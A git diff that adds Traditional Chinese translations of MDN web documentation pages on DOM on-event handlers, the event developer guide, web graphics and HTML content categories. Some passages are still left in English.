+ <li>{{domxref("Event.initEvent()")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li>{{domxref("EventTarget.addEventListener()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/guide/events/event_handlers/index.html b/files/zh-tw/web/guide/events/event_handlers/index.html
new file mode 100644
index 0000000000..519ac8bf90
--- /dev/null
+++ b/files/zh-tw/web/guide/events/event_handlers/index.html
@@ -0,0 +1,178 @@
+---
+title: DOM on-event 處理器
+slug: Web/Guide/Events/Event_handlers
+translation_of: Web/Guide/Events/Event_handlers
+---
+<p><span class="seoSummary">Web 平台提供了多種獲得 <a href="/zh-TW/docs/Web/Events">DOM 事件</a>通知的方式。兩種常見的風格為：通用的 {{domxref("EventTarget.addEventListener", "addEventListener()")}} 及一組特定的 <em><strong>on-event</strong></em> 處理器。</span>本頁聚焦在後者如何運作的細節。</p>
+
+<h3 id="註冊_on-event_處理器">註冊 <em>on-event</em> 處理器</h3>
+
+<p><em><strong>on-event</strong></em> 處理器為一群由 DOM 元素提供的屬性（{{Glossary("property")}}），用來協助管理元素要如何應對事件。元素可以是具互動性的（如：links、buttons、images、forms）或非互動性的（如頁面基礎 document）。事件為一個操作，像是點擊（clicked）、偵測按下按鍵（pressed keys）、取得焦點（focus）等。on-event 處理器通常是根據它被設計來應對的事件，例如 <code>onclick</code>、<code>onkeypress</code>、<code>onfocus</code> 等等。</p>
+
+<p>你可以使用兩種不同的方式來為一個物件的特定事件（例如：{{event("click")}}）指定一個 <code>on&lt;...&gt;</code> 事件處理器：</p>
+
+<ul>
+ <li>在元素上使用一個名稱為 <code>on<em>{eventtype}</em></code> 的 HTML 標籤屬性（{{Glossary("attribute")}}），例如：<br>
+  <code>&lt;button <u>onclick="return handleClick(event);"</u>&gt;</code>,</li>
+ <li>或藉由設定相對應的 JavaScript 屬性（{{Glossary("property/JavaScript", "property")}}），例如：<br>
+  <code>document.getElementById("mybutton")<u>.onclick = function(event) { ... }</u></code>.</li>
+</ul>
+
+<p>Note that each object can have <strong>only one</strong> <em>on-event</em> handler for a given event (though that handler could call multiple sub-handlers). This is why {{domxref("EventTarget.addEventListener", "addEventListener()")}} is often the better way to get notified of events, especially when wishing to apply various event handlers independently from each other, even for the same event and/or to the same element.</p>
+
+<p>Also note that <em>on-event</em> handlers are called automatically, not at the programmer's will (although you can, like <code>mybutton.onclick(myevent); ) </code>since they serve more as placeholders to which a real handler function can be <strong>assigned</strong>.</p>
+
+<h3 id="非元素物件">非元素物件</h3>
+
+<p>Event handlers can also be set using properties on many non-element objects that generate events, including {{ domxref("window") }}, {{ domxref("document") }}, {{ domxref("XMLHttpRequest") }}, and others, for example:</p>
+
+<pre>xhr.onprogress = function() { ... }</pre>
+
+<h2 id="細節">細節</h2>
+
+<h3 id="HTML_的_on&lt;...>_屬性值及對應的_JavaScript_屬性">HTML 的 on&lt;...&gt; 屬性值及對應的 JavaScript 屬性</h3>
+
+<p>A handler registered via an <code>on&lt;...&gt;</code> attribute will be available via the corresponding <code>on&lt;...&gt;</code> property, but not the other way around:</p>
+
+<pre class="brush: html">&lt;div id="a" onclick="alert('old')"&gt;Open the Developer Tools Console to see the output.&lt;/div&gt;
+
+&lt;script&gt;
+window.onload = function () {
+  var div = document.getElementById("a");
+  console.log("Attribute reflected as a property: ", div.onclick.toString());
+  // Prints: function onclick(event) { alert('old') }
+  div.onclick = function() { alert('new') };
+  console.log("Changed property to: ", div.onclick.toString());
+  // Prints: function () { alert('new') }
+  console.log("Attribute value is unchanged: ", div.getAttribute("onclick"));
+  // Prints: alert('old')
+}
+&lt;/script&gt;</pre>
+
+<p>For historical reasons, some attributes/properties on the {{HTMLElement("body")}} and {{HTMLElement("frameset")}} elements actually set event handlers on their parent {{domxref("Window")}} object. (The HTML specification names these: <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onload</code>, <code>onscroll</code>.)</p>
+
+<h3 id="事件處理器的參數、this_綁定及回傳值">事件處理器的參數、<code>this</code> 綁定及回傳值</h3>
+
+<p>當一個事件處理被定義成為一個 <strong>HTML </strong>的屬性時，給定的程式碼會被包成一個具有下列參數的函式：</p>
+
+<ul>
+ <li><code>event</code> - 除了{{domxref("GlobalEventHandlers.onerror", "onerror")}}的事件以外，其他所有的事件都會有此參數。</li>
+ <li><code>event</code>, <code>source</code>, <code>lineno</code>, <code>colno</code>, 還有專為 {{domxref("GlobalEventHandlers.onerror", "onerror")}} 事件處理的 <code>error</code> 。請注意： <code>event</code> 參數實際上擁有以字串形式呈現的錯誤訊息。</li>
+</ul>
+
+<p>當事件處理函式被觸發時，處理函式中的關鍵字： <code>this</code> 被設定成為註冊這個事件處理函式的DOM 元件。 請參閱 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#In_an_in%E2%80%93line_event_handler">this 關鍵字說明</a> 獲得更多細節。</p>
+
+<p>The return value from the handler determines if the event is canceled. The specific handling of the return value depends on the kind of event, for details see <a href="https://html.spec.whatwg.org/multipage/webappapis.html#the-event-handler-processing-algorithm">"The event handler processing algorithm" in the HTML specification</a>.</p>
+
+<h3 id="當事件處理器被調用">當事件處理器被調用</h3>
+
+<p>TBD (non-capturing listener)</p>
+
+<h3 id="術語">術語</h3>
+
+<p>The term <strong>event handler</strong> may be used to refer to:</p>
+
+<ul>
+ <li>any function or object registered to be notified of events,</li>
+ <li>or, more specifically, to the mechanism of registering event listeners via <code>on...</code> attributes in HTML or properties in web APIs, such as <code>&lt;button onclick="alert(this)"&gt;</code> or <code>window.onload = function() { /* ... */ }</code>.</li>
+</ul>
+
+<p>When discussing the various methods of listening to events,</p>
+
+<ul>
+ <li><strong>event listener</strong> refers to a function or object registered via {{domxref("EventTarget.addEventListener()")}},</li>
+ <li>whereas <strong>event handler</strong> refers to a function registered via <code>on...</code> attributes or properties.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Event_handler_changes_in_Firefox_9">Event handler changes in Firefox 9</h3>
+
+<p>In order to better match the specifications, and improve cross-browser compatibility, the way event handlers were implemented at a fundamental level changed in Gecko 9.0 {{ geckoRelease("9.0") }}.</p>
+
+<p>Specifically, in the past, event handlers were not correctly implemented as standard IDL attributes. In Gecko 9.0, this was changed. Because of this, certain behaviors of event handlers in Gecko have changed. In particular, they now behave in all the ways standard IDL attributes behave. In most cases, this shouldn't affect web or add-on content at all; however, there are a few specific things to watch out for.</p>
+
+<h4 id="Detecting_the_presence_of_event_handler_properties">Detecting the presence of event handler properties</h4>
+
+<p>You can now detect the presence of an event handler property (that is, for example, <code>onload</code>), using the JavaScript <a href="/en-US/JavaScript/Reference/Operators/in" title="en/JavaScript/Reference/Operators/in"><code>in</code></a> operator. For example:</p>
+
+<pre class="brush: js">if ("onsomenewfeature" in window) {
+  /* do something amazing */
+}
+</pre>
+
+<h4 id="Event_handlers_and_prototypes">Event handlers and prototypes</h4>
+
+<p>You can't set or access the values of any IDL-defined attributes on DOM prototype objects; that means you can't, for example, change <code>Window.prototype.onload</code> anymore. In the past, event handlers (<code>onload</code>, etc.) weren't implemented as IDL attributes in Gecko, so you were able to do this for those. Now you can't. This improves compatibility.</p>
diff --git a/files/zh-tw/web/guide/events/index.html b/files/zh-tw/web/guide/events/index.html
new file mode 100644
index 0000000000..4484986b66
--- /dev/null
+++ b/files/zh-tw/web/guide/events/index.html
@@ -0,0 +1,52 @@
+---
+title: Event developer guide
+slug: Web/Guide/Events
+tags:
+  - DOM
+  - Event
+  - Guide
+  - NeedsTranslation
+  - NeedsUpdate
+  - TopicStub
+translation_of: Web/Guide/Events
+---
+<p>{{draft()}}</p>
+
+<p>Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.</p>
+
+<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Overview_of_Events_and_Handlers">overview page</a> provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.</p>
+
+<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">custom events page</a> describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.</p>
+
+<p>The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.</p>
+
+<p>The <strong>device</strong> on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> and the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. That is different, but similar, to the change in device vertical orientation.</p>
+
+<p>The <strong>window</strong> in which the browser is displayed can trigger events; for example, change size if the user maximizes the window or otherwise changes it.</p>
+
+<p>The <strong>process</strong> loading of a web page can trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.</p>
+
+<p>The <strong>user interaction</strong> with the web page contents can trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction-driven events include:</p>
+
+<ul>
+ <li>the original 'click' event,</li>
+ <li>mouse events,</li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Mouse_gesture_events">mouse gesture events</a>, and</li>
+ <li>both <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">touch events</a> and the earlier <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">mozilla experimental touch events</a>, now deprecated.</li>
+</ul>
+
+<p>The <strong>modification of the web page</strong> in structure or content might trigger some events, as explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a>, but the use of these events has been deprecated in favour of the lighter <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> approach.</p>
+
+<p>The <strong>media streams</strong> embedded in the HTML documents might trigger some events, as explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a> page.</p>
+
+<p>The <strong>network requests</strong> made by a web page might trigger some events.</p>
+
+<p>There are many other sources of events defined by web browsers for which pages are not yet available in this guide.</p>
+
+<div class="note">
+<p>Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.</p>
+</div>
+
+<h2 id="文件">文件</h2>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/zh-tw/web/guide/graphics/index.html b/files/zh-tw/web/guide/graphics/index.html
new file mode 100644
index 0000000000..224757c138
--- /dev/null
+++ b/files/zh-tw/web/guide/graphics/index.html
@@ -0,0 +1,49 @@
+---
+title: 網頁上的圖像
+slug: Web/Guide/Graphics
+translation_of: Web/Guide/Graphics
+---
+<p><span class="seoSummary">現代網站或應用程式通常都配有圖像。</span>我們可以很容易地使用{{HTMLElement("img")}}元素呈現靜態圖像 , 或藉由使用{{cssxref("background-image")}} 設定HTML的背景元素性質。你常會想要建立動態圖像或在事後操縱圖像。<span class="seoSummary">這些文章將讓你知道如何達成這些效果。</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">2D 圖像</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/HTML/Canvas">Canvas</a></dt>
+ <dd><em>{{HTMLElement("canvas")}} 元素提供 </em><em>APIs讓開發者透過Javascript來繪製2D圖像.</em></dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd><em>可縮放向量圖像(SVG) 讓你可以使用直線，曲線以及其他幾何圖形來編寫圖像。避免使用點陣圖像(bitmaps)，你可以創造出適合任何大小的圖像。</em></dd>
+</dl>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">觀看全部...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">3D 圖像</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd><em>一份WebGL初始指南，網頁用3D 圖像 API。這項技術讓你在網頁內容使用standard OpenGL ES。</em></dd>
+</dl>
+
+<h2 id="影片">影片</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">使用 HTML5 影音</a></dt>
+ <dd><em>在 HTML 檔案嵌入影片及控制播放。</em></dd>
+ <dt><a href="/en-US/docs/WebRTC">WebRTC</a></dt>
+ <dd><em>在WebRTC 中 RTC 是 Real-Time Communications 的簡稱，讓瀏覽器客戶端之間(peers)串流影片/音效檔案與數據分享的技術。</em></dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/guide/html/content_categories/index.html b/files/zh-tw/web/guide/html/content_categories/index.html
new file mode 100644
index 0000000000..707e63ca85
--- /dev/null
+++ b/files/zh-tw/web/guide/html/content_categories/index.html
@@ -0,0 +1,150 @@
+---
+title: 內容類型
+slug: Web/Guide/HTML/Content_categories
+translation_of: Web/Guide/HTML/Content_categories
+---
+<p><span class="seoSummary">每個 HTML 元素都要遵從該元素可擁有何種內容規則，這些規則被歸為幾種常用的內容模型（content model）。每個 HTML 元素都屬於零個、一個、或數個內容的模型，所有元素內容的設置規則都要遵從 HTML 一致性文件。</span></p>
+
+<p>內容類型有三種類型：</p>
+
+<ul>
+ <li>主要內容類型（Main content categories）描述了許多元素共享的常見內容規則（content rule）。</li>
+ <li>表單相關內容類型（Form-related content categories）描述了表單相關元素的內容規則。</li>
+ <li>特別內容類型（Specific content categories） 描述了只有少數元素共享的內容規則，有時甚至只有特定上下文。</li>
+</ul>
+
+<div style="width: 50%;"><a href="/@api/deki/files/6244/=Content_categories_venn.png" title="Content_categories_venn.png"><img alt="Content_categories_venn.png" class="default internal" src="/@api/deki/files/6244/=Content_categories_venn.png?size=webview" style="height: 200px; width: 350px;"></a></div>
+
+<h2 id="主要內容類型">主要內容類型</h2>
+
+<h3 id="資訊元內容（Metadata_content）">資訊元內容（Metadata content）</h3>
+
+<p>屬於<em>元資訊內容</em>類型的元素修飾該文件其餘部分的陳述或行為、與其他文件建立連結、或是傳達其他<em>外來</em>（out of band）訊息。</p>
+
+<p>屬於這個類型的元素有 {{HTMLElement("base")}}、{{ Obsolete_inline() }}{{HTMLElement("command")}}、{{HTMLElement("link")}}、{{HTMLElement("meta")}}、{{HTMLElement("noscript")}}、{{HTMLElement("script")}}、{{HTMLElement("style")}} 與 {{HTMLElement("title")}}</p>
+
+<h3 id="流內容（Flow_content）"><a name="flow_content">流內容（Flow content）</a></h3>
+
+<p>屬於流內容的元素通常含有文字或嵌入內容。它們是：{{HTMLElement("a")}}、{{HTMLElement("abbr")}}、{{HTMLElement("address")}}、{{HTMLElement("article")}}、{{HTMLElement("aside")}}、{{HTMLElement("audio")}}、{{HTMLElement("b")}},{{HTMLElement("bdo")}}、{{HTMLElement("bdi")}}、{{HTMLElement("blockquote")}}、{{HTMLElement("br")}}、{{HTMLElement("button")}}、{{HTMLElement("canvas")}}、{{HTMLElement("cite")}}、{{HTMLElement("code")}}、{{ Obsolete_inline() }}{{HTMLElement("command")}}、{{HTMLElement("data")}}、{{HTMLElement("datalist")}}、{{HTMLElement("del")}}、{{HTMLElement("details")}}、{{HTMLElement("dfn")}}、{{HTMLElement("div")}}、{{HTMLElement("dl")}}、{{HTMLElement("em")}}、{{HTMLElement("embed")}}、{{HTMLElement("fieldset")}}、{{HTMLElement("figure")}}、{{HTMLElement("footer")}}、{{HTMLElement("form")}}、{{HTMLElement("h1")}}、{{HTMLElement("h2")}}、{{HTMLElement("h3")}}、{{HTMLElement("h4")}}、{{HTMLElement("h5")}}、{{HTMLElement("h6")}}、{{HTMLElement("header")}}、{{HTMLElement("hgroup")}}、{{HTMLElement("hr")}}、{{HTMLElement("i")}}、{{HTMLElement("iframe")}}、{{HTMLElement("img")}}、{{HTMLElement("input")}}、{{HTMLElement("ins")}}、{{HTMLElement("kbd")}}、{{deprecated_inline()}}{{HTMLElement("keygen")}}、{{HTMLElement("label")}}、{{HTMLElement("main")}}、{{HTMLElement("map")}}、{{HTMLElement("mark")}}、{{MathMLElement("math")}}、{{HTMLElement("menu")}}、{{HTMLElement("meter")}}、{{HTMLElement("nav")}}、{{HTMLElement("noscript")}}、{{HTMLElement("object")}}、{{HTMLElement("ol")}}、{{HTMLElement("output")}}、{{HTMLElement("p")}}、{{HTMLElement("pre")}}、{{HTMLElement("progress")}}、{{HTMLElement("q")}}、{{HTMLElement("ruby")}}、{{HTMLElement("s")}}、{{HTMLElement("samp")}}、{{HTMLElement("script")}}、{{HTMLElement("section")}}、{{HTMLElement("select")}}、{{HTMLElement("small")}}、{{HTMLElement("span")}}、{{HTMLElement("strong")}}、{{HTMLElement("sub")}}、{{HTMLElement("sup")}}、{{SVGElement("svg")}}、{{HTMLElement("table")}}、{{HTMLElement("template")}}、{{HTMLElement("textarea")}}、{{HTMLElement("time")}}、{{HTMLElement("ul")}}、{{HTMLElement("var")}}、{{HTMLElement("video")}}、{{HTMLElement("wbr")}} 還有文字。</p>
+
+<p>在滿足特定條件下，某些元素也屬這個類型：</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}，如果它是 {{HTMLElement("map")}} 元素的後代。</li>
+ <li>{{HTMLElement("link")}}，如果<a href="/zh-TW/docs/HTML/Global_attributes#attr-itemprop"><strong>itemprop</strong></a> 屬性存在。</li>
+ <li>{{HTMLElement("meta")}}，如果<a href="/zh-TW/docs/HTML/Global_attributes#attr-itemprop"><strong>itemprop</strong></a> 屬性存在。</li>
+ <li>{{HTMLElement("style")}}，如果 {{htmlattrxref("scoped","style")}} 屬性存在。</li>
+</ul>
+
+<h3 id="章節型內容（Sectioning_content）">章節型內容（Sectioning content）</h3>
+
+<p>屬於章節型內容模型的元素會<a href="/zh-TW/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">在該大綱裡面創立章節</a>，這個章節會定義{{HTMLElement("header")}}、{{HTMLElement("footer")}}、還有<a href="#Heading_content" title="#heading content">heading content</a>的範圍。</p>
+
+<p>屬於這個類型的元素有{{HTMLElement("article")}}、{{HTMLElement("aside")}}、{{HTMLElement("nav")}}還有{{HTMLElement("section")}}。</p>
+
+<div class="note">
+<p><em>注意：</em>不要把這個內容模型，和把內容與常規大綱隔開的 <a href="/zh-TW/docs/Sections_and_Outlines_of_an_HTML5_document#sectioning_root" title="Sections and Outlines of an HTML5 document#sectioning root">sectioning root</a> 類別搞混。</p>
+</div>
+
+<h3 id="標題型內容（Heading_content）">標題型內容（Heading content）</h3>
+
+<p>标题内容 定义了分节的标题，而这个分节可能由一个明确的分节内容元素直接标记，也可能由标题本身隐式地定义。</p>
+
+<p>標題型內容定義了章節的標題，不論該章節由明確的<a href="#Sectioning_content" title="#sectioning content">章節型內容</a>元素標記、抑或由標題本身隱式定義。</p>
+
+<p>屬於這個類型的元素有{{HTMLElement("h1")}}、{{HTMLElement("h2")}}、{{HTMLElement("h3")}}, {{HTMLElement("h4")}}、{{HTMLElement("h5")}}、{{HTMLElement("h6")}}還有{{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p><em>注意：</em>儘管 {{HTMLElement("header")}} 可能含有某些標題型內容，但它本身並不是。</p>
+</div>
+
+<h3 id="段落型內容（Phrasing_content）">段落型內容（Phrasing content）</h3>
+
+<p>段落型內容定義了文字、還有它包含的標記。Runs of phrasing content make up paragraphs.</p>
+
+<p>屬於這個類型的元素有{{HTMLElement("abbr")}}、{{HTMLElement("audio")}}、{{HTMLElement("b")}}、{{HTMLElement("bdo")}}、{{HTMLElement("br")}}、{{HTMLElement("button")}}、{{HTMLElement("canvas")}}、{{HTMLElement("cite")}}、{{HTMLElement("code")}}、{{ Obsolete_inline() }}{{HTMLElement("command")}}、{{HTMLElement("datalist")}}、{{HTMLElement("dfn")}}、{{HTMLElement("em")}}、{{HTMLElement("embed")}}、{{HTMLElement("i")}}、{{HTMLElement("iframe")}}、{{HTMLElement("img")}}、{{HTMLElement("input")}}、{{HTMLElement("kbd")}}、{{deprecated_inline()}}{{HTMLElement("keygen")}}、{{HTMLElement("label")}}、{{HTMLElement("mark")}}、{{MathMLElement("math")}}、{{HTMLElement("meter")}}、{{HTMLElement("noscript")}}、{{HTMLElement("object")}}、{{HTMLElement("output")}}、{{HTMLElement("progress")}}、{{HTMLElement("q")}}、{{HTMLElement("ruby")}}、{{HTMLElement("samp")}}、{{HTMLElement("script")}}、{{HTMLElement("select")}}、{{HTMLElement("small")}}、{{HTMLElement("span")}}、{{HTMLElement("strong")}}、{{HTMLElement("sub")}}、{{HTMLElement("sup")}}、{{SVGElement("svg")}}、{{HTMLElement("textarea")}}、{{HTMLElement("time")}}、{{HTMLElement("var")}}、{{HTMLElement("video")}}、{{HTMLElement("wbr")}}以及空白字符在內的純文本。</p>
+
+<p>在滿足特定條件下，某些元素也屬這個類型：</p>
+
+<ul>
+ <li>{{HTMLElement("a")}}，如果它只包含段落型內容。</li>
+ <li>{{HTMLElement("area")}}，如果它是 {{HTMLElement("map")}} 元素的後代。</li>
+ <li>{{HTMLElement("del")}}，如果它只包含段落型內容。</li>
+ <li>{{HTMLElement("ins")}}, 如果它只包含段落型內容。</li>
+ <li>{{HTMLElement("link")}}, 如果 <a href="/zh-TW/docs/HTML/Global_attributes#itemprop" title="HTML/Global attributes#itemprop"><strong>itemprop</strong></a> 屬性存在。</li>
+ <li>{{HTMLElement("map")}}, 如果它只包含段落型內容。</li>
+ <li>{{HTMLElement("meta")}}, 如果 <a href="/zh-TW/docs/HTML/Global_attributes#itemprop" title="HTML/Global attributes#itemprop"><strong>itemprop</strong></a> 屬性存在。</li>
+</ul>
+
+<h3 id="嵌入型內容（Embedded_content）">嵌入型內容（Embedded content）</h3>
+
+<p>嵌入型內容從其他標記語言或文件命名空間，導入資源或插入內容。 屬於這個類型的元素有{{HTMLElement("audio")}}、{{HTMLElement("canvas")}}、{{HTMLElement("embed")}}、{{HTMLElement("iframe")}}、{{HTMLElement("img")}}、{{MathMLElement("math")}}、{{HTMLElement("object")}}、{{SVGElement("svg")}}、{{HTMLElement("video")}}。</p>
+
+<h3 id="互動型內容（Interactive_content）"><a name="interactive_content">互動型內容（Interactive content）</a></h3>
+
+<p>互動型內容包含專為用戶互動設計的元素。屬於這個類型的元素有 {{HTMLElement("a")}}、{{HTMLElement("button")}}、{{HTMLElement("details")}}、{{HTMLElement("embed")}}、{{HTMLElement("iframe")}}、{{deprecated_inline()}}{{HTMLElement("keygen")}}、{{HTMLElement("label")}}、{{HTMLElement("select")}} 還有 {{HTMLElement("textarea")}}。</p>
+
+<p>在滿足特定條件下，某些元素也屬這個類型：</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}，如果 {{htmlattrxref("controls", "audio")}} 元素存在。</li>
+ <li>{{HTMLElement("img")}}，如果 {{htmlattrxref("usemap", "img")}} 元素存在。</li>
+ <li>{{HTMLElement("input")}}，如果 {{htmlattrxref("type", "input")}} 元素不是隱藏狀態。</li>
+ <li>{{HTMLElement("menu")}}，如果 {{htmlattrxref("type", "menu")}} 元素處於 toolbar 狀態。</li>
+ <li>{{HTMLElement("object")}}，如果 {{htmlattrxref("usemap", "object")}} 元素存在。</li>
+ <li>{{HTMLElement("video")}}，如果 {{htmlattrxref("controls", "video")}} 元素存在。</li>
+</ul>
+
+<h3 id="捫及內容（Palpable_content）">捫及內容（Palpable content）</h3>
+
+<p>不是空白或隱藏的內容稱為捫及。屬於流內容或是Phrasing content模型的元素最少要有一個捫及的節點。</p>
+
+<h3 id="表單相關內容（Form-associated_content）">表單相關內容（Form-associated content）</h3>
+
+<p>表單相關內容包含了由 <strong>form</strong> 屬性顯露的 form owner 元素。form owner 是本身包含於 {{HTMLElement("form")}}、或 id 由 <strong>form</strong> 屬性指定的元素。</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{deprecated_inline()}}{{HTMLElement("keygen")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>本類型包含某些子類別:</p>
+
+<dl>
+ <dt><a name="Form_listed">listed</a></dt>
+ <dd>Elements that are listed in the <a href="/zh-TW/docs/DOM/form.elements" title="DOM/form.elements">form.elements</a> and fieldset.elements IDL collections. Contains {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_labelable">labelable</a></dt>
+ <dd>與元素 {{HTMLElement("label")}} 相關的元素。包含 {{HTMLElement("button")}}、{{HTMLElement("input")}}、{{deprecated_inline()}}{{HTMLElement("keygen")}}、{{HTMLElement("meter")}}、{{HTMLElement("output")}}、{{HTMLElement("progress")}}、{{HTMLElement("select")}}、{{HTMLElement("textarea")}}。</dd>
+ <dt><a name="Form_submittable">submittable</a></dt>
+ <dd>用在建構送出時，資料就設定好的表單元素。包含 {{HTMLElement("button")}}、{{HTMLElement("input")}}、{{deprecated_inline()}}{{HTMLElement("keygen")}}、{{HTMLElement("object")}}、{{HTMLElement("select")}}、{{HTMLElement("textarea")}}。</dd>
+ <dt><a name="Form_resettable">resettable</a></dt>
+ <dd>當表單重設時會受影響的元素。包含 {{HTMLElement("button")}}、{{HTMLElement("input")}}、{{deprecated_inline()}}{{HTMLElement("keygen")}}、{{HTMLElement("output")}}、{{HTMLElement("select")}}、{{HTMLElement("textarea")}}。</dd>
+</dl>
+
+<h2 id="透明內容模型（Transparent_content_model）">透明內容模型（Transparent content model）</h2>
+
+<p>如果一個元素是透明內容模型，then its contents must be structured such that they would be valid HTML 5，就算該透明元素被移除、並由子元素取代。</p>
+
+<p>例如，{{HTMLElement("del")}} 與 {{HTMLELement("ins")}} 元素都是透明的：</p>
+
+<pre>&lt;p&gt;我們認為下面這些真理是&lt;del&gt;&lt;em&gt;神聖不可否認&lt;/em&gt;&lt;/del&gt;&lt;ins&gt;不言而喻的。&lt;/ins&gt;&lt;/p&gt;
+</pre>
+
+<p>這果這些元素被刪掉的話，這個分段依然在 HTML 有效（if not correct English）</p>
+
+<pre>&lt;p&gt;我們認為下面這些真理是&lt;em&gt;神聖不可否認&lt;/em&gt;不言而喻的。&lt;/p&gt;
+</pre>
+
+
+<h2 id="其他內容模型">其他內容模型</h2>
+
+<p>章節根（Sectioning root）</p>
diff --git a/files/zh-tw/web/guide/html/event_attributes/index.html b/files/zh-tw/web/guide/html/event_attributes/index.html
new file mode 100644
index 0000000000..6f57526dde
--- /dev/null
+++ b/files/zh-tw/web/guide/html/event_attributes/index.html
@@ -0,0 +1,84 @@
+---
+title: Event attributes
+slug: Web/Guide/HTML/Event_attributes
+translation_of: >-
+  Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these
+---
+<p><span class="seoSummary">每一個 HTML 元素都可以放置事件屬性，以藉此於事件發生時能執行 JavaScripte 程式。事件屬性的名稱都有一個前綴「on」，例如當使用者點選元素時要執行指定的 JavaScript，可以使用 </span><code>onclick</code><span class="seoSummary"> 屬性並把要執行的 JavaScript 當成屬性值。</span></p>
+
